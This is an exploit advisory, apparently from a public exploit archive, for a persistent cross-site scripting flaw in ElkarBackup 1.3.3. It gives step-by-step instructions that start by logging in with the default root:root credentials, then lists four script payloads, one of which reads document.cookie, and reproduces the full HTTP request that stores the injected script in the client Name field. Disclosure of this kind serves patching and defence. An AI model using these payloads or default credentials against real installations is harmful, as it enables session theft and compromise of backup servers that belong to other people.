ElkarBackup 1.3.3 - Persistent Cross-Site Scripting

# Exploit Title: ElkarBackup 1.3.3 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.elkarbackup.org/
# Version: 1.3.3
# Tested on: Linux

1- Go to following url. >> http://(HOST)/elkarbackup/login
2- Default username and password is root:root. We must know login credentials. 
3- Go to "Jobs" and press "Add client" button.
4- Write XSS payload in "Name" section.
5- Press "Save" button.

(( Executable XSS Payloads ))

1- "><script>alert('XSS Confirmed!');</script>
2- "><script>alert("XSS Confirmed!");</script>
3- "><script>alert(document.cookie);</script>
4- "><script>alert(document.domain);</script>


(( REQUEST ))

POST /elkarbackup/client/2 HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://(HOST)/elkarbackup/client/2
Content-Type: application/x-www-form-urlencoded
Content-Length: 358
Connection: close
Cookie: PHPSESSID=dop3m1qj8c5octaxuasd21as2
Upgrade-Insecure-Requests: 1

Client%5Bname%5D=%22%3E%3Cscript%3Ealert%28%22XSS+Confirmed%21%22%29%3C%2Fscript%3E&
Client%5Burl%5D=&Client%5Bquota%5D=-1&Client%5Bdescription%5D=&Client%5BisActive%5D=1&
Client%5BmaxParallelJobs%5D=1&Client%5Bowner%5D=1&Client%5BsshArgs%5D=&Client%5BrsyncShortArgs%5D=&
Client%5BrsyncLongArgs%5D=&Client%5B_token%5D=yrL8pXqx-sTVYhLQBpL523I-BOnSqoRyZnd5MUt2bfI